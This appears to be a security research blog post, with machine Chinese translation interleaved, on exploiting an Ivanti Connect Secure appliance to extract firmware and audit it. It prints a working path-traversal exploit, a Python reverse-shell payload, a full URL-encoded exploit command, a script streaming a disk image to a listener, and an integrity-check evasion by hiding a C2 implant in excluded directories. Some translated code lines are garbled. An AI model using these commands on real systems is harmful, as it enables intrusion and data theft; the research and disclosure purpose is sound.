INTRODUCTION 介绍
We’ve recently seen a series of sophisticated attacks targeting Ivanti Pulse Secure VPN appliances, underscoring the challenges surrounding the protection of IT infrastructure such as network devices. The nation-state group UNC5221 exploited these vulnerabilities as far as Dec. 3, 2023, but they are now under mass exploitation by several groups. Together, these vulnerabilities emphasize the inherent weaknesses within network security devices—ironic, as these products are meant to improve an organization’s security posture. As part of our reverse engineering of the firmware running on these Ivanti devices, we discovered a plethora of previously unreported problems. These discoveries illustrate the difficulty of securing complex digital supply chains. This blog post will discuss the range of vulnerabilities exposed during our reverse engineering process and the broader implications for the cybersecurity community.
我们最近看到了一系列针对 Ivanti Pulse Secure VPN 设备的复杂攻击，凸显了围绕保护网络设备等 IT 基础设施的挑战。早在 2023 年 12 月 3 日，这个民族国家组织UNC5221利用了这些漏洞，但现在它们正被多个组织大规模利用。总之，这些漏洞凸显了网络安全设备的固有弱点，具有讽刺意味的是，这些产品旨在改善组织的安全状况。作为对这些 Ivanti 设备上运行的固件进行逆向工程的一部分，我们发现了大量以前未报告的问题。这些发现说明了保护复杂数字供应链的难度。这篇博文将讨论逆向工程过程中暴露的一系列漏洞，以及对网络安全社区的更广泛影响。
PHASE 1: CONCEPT 第 1 阶段：概念
Our initial theory was that we could simply download a trial version of a Pulse Secure virtual appliance and analyze it as we have with virtual appliances from F5, Citrix, and other device vendors. Unfortunately, we quickly discovered that Ivanti has taken a similar approach as other black box vendors by encrypting their firmware images, even the virtual ones, and we weren’t immediately able to get the VM version running in Proxmox. Vendors encrypt their firmware for reasons we don’t agree with: to prevent reverse engineering, or to offer their customers a false sense of security—no word on whether it’s “military-grade encryption”—but regardless, it’s a pointless exercise. This hasn’t stopped Chinese APTs from finding dozens of zero days in Fortinet, and now in Ivanti as well. So, instead of trying to break the encryption on a VM we decided instead to exploit a real hardware device and dump all its firmware off for analysis. This proved far easier than we expected.
我们最初的理论是，我们可以简单地下载 Pulse Secure 虚拟设备的试用版并对其进行分析，就像我们使用 F5、Citrix 和其他设备供应商的虚拟设备一样。不幸的是，我们很快发现 Ivanti 采取了与其他黑匣子供应商类似的方法，通过加密他们的固件映像，甚至是虚拟映像，我们无法立即在 Proxmox 中运行 VM 版本。供应商出于我们不同意的原因加密他们的固件：防止逆向工程，或者为他们的客户提供一种虚假的安全感——没有关于它是否是“军用级加密”的消息——但无论如何，这是一个毫无意义的做法。这并没有阻止中国的 APT 在 Fortinet 中发现数十个零日漏洞，现在在 Ivanti 中也是如此。因此，我们没有尝试破解虚拟机上的加密，而是决定利用真正的硬件设备并将其所有固件转储以进行分析。事实证明，这比我们预期的要容易得多。
PHASE 2: HACK ALL THE THINGS, GET ALL THE FIRMWARE
第 2 阶段：破解所有东西，获取所有固件
Our lab device is a PSA3000 so we had the small barrier of getting firmware—Ivanti requires an active support contract to download them, like Fortinet and other vendors who lock their updates behind paywalls. We were able to acquire the firmware images we needed and we installed Ivanti Connect Secure version ICS-9.1.18.2-24467.1. From there it was as simple as choosing the exploit and we went with the one from Rapid7’s write-up—we didn’t need to bypass mitigations since we hadn’t applied any, but once you get into a serious hacking binge the tendency is to push it as far as you can. Exploitation is painfully easy; in fact, we can fit the exploit in a tweet (it’s an inverse badge of honor for a vendor to get popped in 140 characters). Here’s the exploit in a tweet:
我们的实验室设备是PSA3000因此我们在获取固件方面遇到了很小的障碍 — Ivanti 需要有效的支持合同才能下载它们，例如 Fortinet 和其他将更新锁定在付费墙后面的供应商。我们能够获取所需的固件映像，并安装了 Ivanti Connect Secure 版本 ICS-9.1.18.2-24467.1。从那里开始，就像选择漏洞一样简单，我们选择了 Rapid7 文章中的漏洞——我们不需要绕过缓解措施，因为我们没有应用任何缓解措施，但一旦你陷入严重的黑客狂欢，趋势就是尽可能地推动它。剥削是非常容易的;事实上，我们可以在推文中加入漏洞（对于供应商来说，以 140 个字符弹出是一个反向的荣誉徽章）。这是一条推文中的漏洞：
curl -ik –path-as-is https://[IP]/api/v1/totp/user-backup-code/../../license/keys-status/
curl -ik –path-as-is https://[IP]/api/v1/totp/user-backup-code/../../许可证/密钥状态/
However the payload for the reverse shell pushes it over the 140-character limit:
但是，反向 shell 的有效负载会将其推高到 140 个字符的限制之上：
;python -c ‘import socket,subprocess;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((“IP”,PORT));subprocess.call([“/bin/sh”,”-i”],stdin=s.fileno(),stdout=s.fileno(),stderr=s.fileno())’;
;p ython -c ‘导入套接字，子进程;s=socket.socket（socket.AF_INET，socket.SOCK_STREAM）;s.connect（（“IP”，端口））;subprocess.call（[“/bin/sh”，“-i”]，stdin=s.fileno（），stdout=s.fileno（），stderr=s.fileno（））’;
After URL encoding the command per the Rapid7 blog and setting up a netcat listener on 4444 we throw the exploit and were rewarded with a reverse shell:
根据 Rapid7 博客对命令进行 URL 编码并在 4444 上设置 netcat 侦听器后，我们抛出漏洞并获得了反向 shell 的奖励：
$ curl -ik –path-as-is https://172.16.10.70/api/v1/totp/user-backup-code/../../license/keys-status/%3Bpython%20%2Dc%20%27import%20socket%2Csubprocess%3Bs%3Dsocket%2Esocket%28socket%2EAF%5FINET%2Csocket%2ESOCK%5FSTREAM%29%3Bs%2Econnect%28%28%22172%2E16%2E20%2E113%22%2C4444%29%29%3Bsubprocess%2Ecall%28%5B%22%2Fbin%2Fsh%22%2C%22%2Di%22%5D%2Cstdin%3Ds%2Efileno%28%29%2Cstdout%3Ds%2Efileno%28%29%2Cstderr%3Ds%2Efileno%28%29%29%27%3B
Once we had our reverse shell, we started looking around. Ivanti has attempted to lock down the device by removing most tools we’re accustomed to finding on appliances and went so far as removing netcat, vim, and wget although they left curl and even ssh (a crippled version … more on that later). The first thing we wanted to do was export the file system and were fortunate that tools like dd, tar, and gzip were still included. The device has a few filesystems:
一旦我们有了反壳，我们就开始环顾四周。Ivanti 试图通过删除我们习惯于在设备上找到的大多数工具来锁定设备，甚至删除了 netcat、vim 和 wget，尽管它们留下了 curl 甚至 ssh（一个残缺的版本……稍后会详细介绍）。我们想做的第一件事是导出文件系统，幸运的是，dd、tar 和 gzip 等工具仍然包含在内。该设备有几个文件系统：
DD worked fine for the /dev/loop9 partition mounted as /data but we needed a way to copy it off the device. As it turned out, Ivanti’s ssh client wouldn’t connect to our exfiltration server; initially we thought the issue was the inability to create the .ssh folder in / but even after remounting read/write and manually specifying “HostKeyAlgorithms +ssh-rsa,ssh-dss” it wouldn’t connect. This meant scp was not an option and they also removed ftp. We finally resorted to writing a Python script to send the disk image to a waiting netcat listener which was successful. Without a text editor, we had to resort to echoing the entire thing line by line. Stupid CTF tricks for the win:
DD 对于挂载为 /data 的 /dev/loop9 分区工作正常，但我们需要一种方法将其从设备中复制出来。事实证明，Ivanti 的 ssh 客户端无法连接到我们的外泄服务器;最初我们认为问题是无法在 / 中创建 .ssh 文件夹，但即使在重新挂载读/写并手动指定“HostKeyAlgorithms +ssh-rsa，ssh-dss”后，它也无法连接。这意味着 scp 不是一个选项，他们也删除了 ftp。我们最终求助于编写一个 Python 脚本，将磁盘映像发送到等待的 netcat 侦听器，并成功了。没有文本编辑器，我们不得不逐行回显整个内容。愚蠢的 CTF 获胜技巧：
echo “import socket” > script.py
echo “s=socket.socket(socket.AF_INET, socket.SOCK_STREAM)” >> script.py
echo “s=socket.socket（socket.AF_INET， socket.SOCK_STREAM）“>> script.py
echo “s.connect((‘172.16.20.113’, 4446)); f = open(‘/dev/loop9’, ‘rb’)” >> script.py
回声 “s.connect（（’172.16.20.113’， 4446））;f = open（’/dev/loop9’， ‘rb’）“ >> script.py
echo “d = f.read(16384)” >> script.py
回声“D = F.read（16384）”>> script.py
echo “while d:” >> script.py
echo “while d：” >> script.py
echo ” s.sendall(d)” >> script.py
回声 “ S.Sendall（D）” >> script.py
echo ” d = f.read(16384)” >> script.py
回声 “ d = f.read（16384）” >> script.py
echo “s.close()” >> script.py
echo “s.close（）” >> script.py
After exfiltrating the /data partition we turned our attention to the rest of the device. This is probably a good time to point out what base operating system Ivanti is using: CentOS 6.4; which was released in 2013 and officially end of life in 2020. You read that correctly: Pulse Secure runs an 11-year-old version of Linux which hasn’t been supported since November 2020. More on this later.
在泄露 /data 分区后，我们将注意力转向设备的其余部分。这可能是指出 Ivanti 使用的基本操作系统的好时机：CentOS 6.4;它于 2013 年发布，并于 2020 年正式结束。您没看错：Pulse Secure 运行的是 11 年前的 Linux 版本，该版本自 2020 年 11 月以来一直不受支持。稍后会详细介绍。
Ivanti seems to have stripped their base CentOS image down and stored only the bare necessities binaries in /bin, /usr, /lib, etc. while storing all their system daemons in /home. They mount this under the root filesystem / which is read-only, and our Python script didn’t want to export it as we had with /data. So, we ended up creating one huge tarball of the rest of the device & exfiltrating as we had the /data partition.
Ivanti 似乎已经剥离了他们的基本 CentOS 映像，只将最基本的必需品二进制文件存储在 /bin、/usr、/lib 等中，同时将所有系统守护进程存储在 /home 中。他们将其挂载到根文件系统 / 下，这是只读的，我们的 Python 脚本不想像使用 /data 那样导出它。因此，我们最终创建了一个巨大的设备其余部分的压缩包，并在我们有 /data 分区时进行泄露。
Now that we had the decrypted device image in hand, we turned to EMBA to figure out what horrors were hidden inside it.
现在我们已经掌握了解密的设备图像，我们求助于EMBA来弄清楚其中隐藏着什么恐怖。
PHASE 3 – EMBA 第 3 阶段 – EMBA
EMBA analysis unsurprisingly found a large number of outdated packages:
不出所料，EMBA分析发现了大量过时的软件包：
- Linux kernel 2.6.32 (end of life in February 2016)
Linux 内核 2.6.32（2016 年 2 月生命周期结束）
- OpenSSL 1.0.2n (December 2017)
OpenSSL 1.0.2n（2017 年 12 月）
- Python 2.6.6 (August 2010)
Python 2.6.6（2010 年 8 月）
- Perl v5.6.1 built for i386-linux (not x64, April 2001)
Perl v5.6.1 为 i386-linux 构建（不是 x64,2001 年 4 月）
- Bash 4.1.2 which, surprisingly, has been patched for Shellshock
Bash 4.1.2 令人惊讶的是，它已经针对 Shellshock 进行了修补
- A number of outdated libraries with known CVEs and exploits as seen below
许多具有已知 CVE 和漏洞利用的过时库，如下所示
These old software packages are components in the Ivanti Connect Secure product. This is a perfect example as to why visibility into digital supply chains is important and why enterprise customers are increasingly demanding SBOMs from their vendors.
这些旧软件包是 Ivanti Connect Secure 产品中的组件。这是一个很好的例子，说明为什么数字供应链的可见性很重要，以及为什么企业客户越来越要求供应商提供 SBOM。
Since Ivanti has removed administrative shell access we weren’t lucky enough to find hard coded credentials nor backdoor accounts.
由于 Ivanti 删除了管理 shell 访问权限，因此我们没有幸运地找到硬编码凭据或后门帐户。
We were able to determine the network cards Ivanti uses on their platforms based on the kernel drivers it contains.
我们能够根据 Ivanti 包含的内核驱动程序来确定 Ivanti 在其平台上使用的网卡。
We observed that the vast majority of the Pulse Secure GUI is written in Perl, and the basic semgrep modules EMBA uses don’t do a great job of finding vulnerable functions. However, it presents a huge attack surface which is no surprise, considering the constant stream of vulnerabilities being exploited.
我们观察到，绝大多数 Pulse Secure GUI 都是用 Perl 编写的，而 EMBA 使用的基本 semgrep 模块在查找易受攻击的函数方面做得并不好。然而，考虑到不断被利用的漏洞，它呈现出一个巨大的攻击面，这并不奇怪。
The rest of their firmware resembles most IoT devices—very few binary protections and more possibly vulnerable shell scripts than we have time or resources to fully investigate:
他们的其余固件类似于大多数物联网设备 – 很少有二进制保护，而且更有可能是易受攻击的 shell 脚本，我们没有时间或资源来全面调查：
PHASE 4 – ‘TEGRITY CHECKIN’
第 4 阶段 – “TEGRITY CHECKIN”
As the wide-scale exploitation campaign against Ivanti raged throughout January, all blogs and vendor guidance mentioned running Ivanti’s “Integrity Checking Tool” or ICT. It was no surprise to find that Ivanti encrypted this too—gotta stop those hackers! We found something interesting in the rubble of our hacked PSA3000: a decryption tool called ‘packdecrypt’ which, as the astute reader may surmise, is an abbreviation of ‘package decrypt(or?ion?)’. This tool takes three arguments; infile, outfile, and key. As it turns out, ICT packages aren’t encrypted with a key, so a kind friend supplied us with a few and we decrypted all of them:
随着针对 Ivanti 的大规模攻击活动在整个 1 月份肆虐，所有博客和供应商指南都提到了运行 Ivanti 的“完整性检查工具”或 ICT。毫不奇怪，Ivanti 也对此进行了加密——必须阻止那些黑客！我们在被黑客入侵的PSA3000的废墟中发现了一些有趣的东西：一个名为“packdecrypt”的解密工具，正如精明的读者所推测的那样，它是“package decrypt（or？ion？）”的缩写。这个工具有三个参数;infile、outfile 和 key。事实证明，ICT包不是用密钥加密的，所以一个好心的朋友给了我们一些，我们全部解密了：
ps-ics-sa-genericV22611-b2689-integritycheck-package.pkg*
ps-ics-sa-genericV22622-b2691-integritycheck-package.pkg*
ps-ics-sa-genericV91184-b25067-integritycheck-package.pkg*
ps-ips-sa-genericV22611-b671-integritycheck-package.pkg*
ps-ips-sa-genericV91184-b10083-integritycheck-package.pkg*
ps-pcs-sa-genericV2-b12255-integritycheck-package.pkg*
We’re not going to discuss each one of these packages because they’re essentially the same thing only for different product lines, but the important parts are as follows.
我们不会讨论这些包中的每一个，因为它们本质上是相同的东西，只是对于不同的产品线，但重要的部分如下。
- They contain a BOM file directory with SHA256 hashes for system files of hundreds of different versions of Pulse Secure & Policy Secure
它们包含一个 BOM 文件目录，其中包含数百个不同版本的 Pulse Secure 和 Policy Secure 的系统文件的 SHA256 哈希值
- They use a bash script to start a Python script which iterates the filesystem and checks file hashes against a list of known good hashes.
他们使用 bash 脚本来启动 Python 脚本，该脚本迭代文件系统并根据已知的良好哈希列表检查文件哈希。
There’s also a huge security hole in the logic of their script: it excludes over a dozen directories from being scanned, meaning an attacker could theoretically leave their persistent C2 implants in one of these paths and the device will still pass the integrity check! There is a persistent storage partition mounted as /data on the device and this entire partition is excluded as are /etc, /tmp, /var and others. Ivanti uses the /home partition to store all their product specific daemons and configuration files and this is scanned by their tool, in theory, this might detect attackers modifying system files but it does leave a large post-exploitation persistence surface for attackers.
他们的脚本逻辑中也存在一个巨大的安全漏洞：它排除了十几个目录被扫描，这意味着攻击者理论上可以将他们的持久性 C2 植入物留在这些路径之一中，并且设备仍将通过完整性检查！设备上有一个以 /data 形式挂载的持久性存储分区，整个分区与 /etc、/tmp、/var 等分区一样被排除在外。Ivanti 使用 /home 分区来存储其所有特定于产品的守护进程和配置文件，并由他们的工具进行扫描，理论上，这可能会检测到修改系统文件的攻击者，但它确实为攻击者留下了大量的利用后持久性表面。
We did a comparison of the versions of the scanner we have, from the oldest (April 2021) to the most recent (January 2024) and noted the only real differences were more files and folders being added as excludes—this is likely to work around false positives reported by customers.
我们对扫描仪的版本进行了比较，从最早的（2021 年 4 月）到最新的（2024 年 1 月），并指出唯一真正的区别是添加了更多的文件和文件夹作为排除项——这可能会解决客户报告的误报。
To test our theory we dropped a copy of our favorite framework, Sliver C2, into its own folder, /data/sliver/ and ran the integrity tool—it reported perfectly clean:
为了验证我们的理论，我们将我们最喜欢的框架 Sliver C2 的副本放到它自己的文件夹 /data/sliver/ 中，并运行了完整性工具——它报告非常干净：
We haven’t yet determined if it’s possible to start command & control servers during boot without detection—this likely requires modifying startup scripts which may be detected—but it poses a significant risk to organizations as it provides a false sense of security.
我们尚未确定是否可以在启动期间启动命令和控制服务器而不被检测到 – 这可能需要修改可能被检测到的启动脚本 – 但它会给组织带来重大风险，因为它提供了虚假的安全感。
A persistent attacker (the P in APT) can exploit a system and stage their C2 framework, tools, exfiltrated data, etc. in a partition structure that the administrator is completely blind to. Because Ivanti prohibits customers from doing any sort of forensics outside their official tools, their only recourse is to trust the tool. Here is a real-world example of an advanced attacker scenario:
持续攻击者（APT 中的 P）可以利用系统并将其 C2 框架、工具、泄露的数据等暂存到管理员完全不了解的分区结构中。由于 Ivanti 禁止客户在其官方工具之外进行任何形式的取证，因此他们唯一的办法就是信任该工具。下面是高级攻击者方案的真实示例：
- A customer is running an Ivanti device that suddenly has a zero-day and their device is exploited.
客户正在运行一台 Ivanti 设备，该设备突然出现零日漏洞，其设备被利用。
- The attacker gains access and places their secondary tooling in the /data partition along with a large amount of staged data for exfiltration.
攻击者获得访问权限，并将其辅助工具与大量暂存数据一起放置在 /data 分区中以进行外泄。
- The customer patches their systems before the attacker can exfiltrate anything and runs the integrity tool—everything looks good!
客户在攻击者泄露任何内容之前修补他们的系统并运行完整性工具 – 一切看起来都很好！
- The attacker finds a workaround to the original patch or mitigation, exploits the device again and can finish exfiltrating the data they staged previously.
攻击者找到原始修补程序或缓解措施的解决方法，再次利用设备，并可以完成对之前暂存的数据的泄露。
CONCLUSION 结论
We can’t rely on vendors to deliver perfectly secure hardware and software. There must be a system of checks and balances that allows customers and third-parties to validate product integrity and security. The more open this process is, the better job we can do to validate the digital supply chain, namely the hardware, firmware, and software components used in their products. When vendors do not share information and/or operate a closed system, validation becomes difficult, as does visibility. Attackers will most certainly, as evidenced recently, take advantage of this situation and exploit the lack of controls and visibility into the system. In the meantime, it is up to customers to employ mitigations for these software defects: identifying these vulnerabilities in our systems, detecting IoCs as best we can, and checking the integrity of firmware and software.
我们不能依赖供应商来提供完全安全的硬件和软件。必须有一个制衡系统，允许客户和第三方验证产品的完整性和安全性。这个过程越开放，我们就越能更好地验证数字供应链，即其产品中使用的硬件、固件和软件组件。当供应商不共享信息和/或运行封闭系统时，验证变得困难，可见性也变得困难。正如最近所证明的那样，攻击者肯定会利用这种情况，并利用缺乏对系统的控制和可见性。同时，客户有责任针对这些软件缺陷采取缓解措施：识别我们系统中的这些漏洞，尽我们所能检测 IoC，并检查固件和软件的完整性。
ADDITIONAL RESOURCES 其他资源
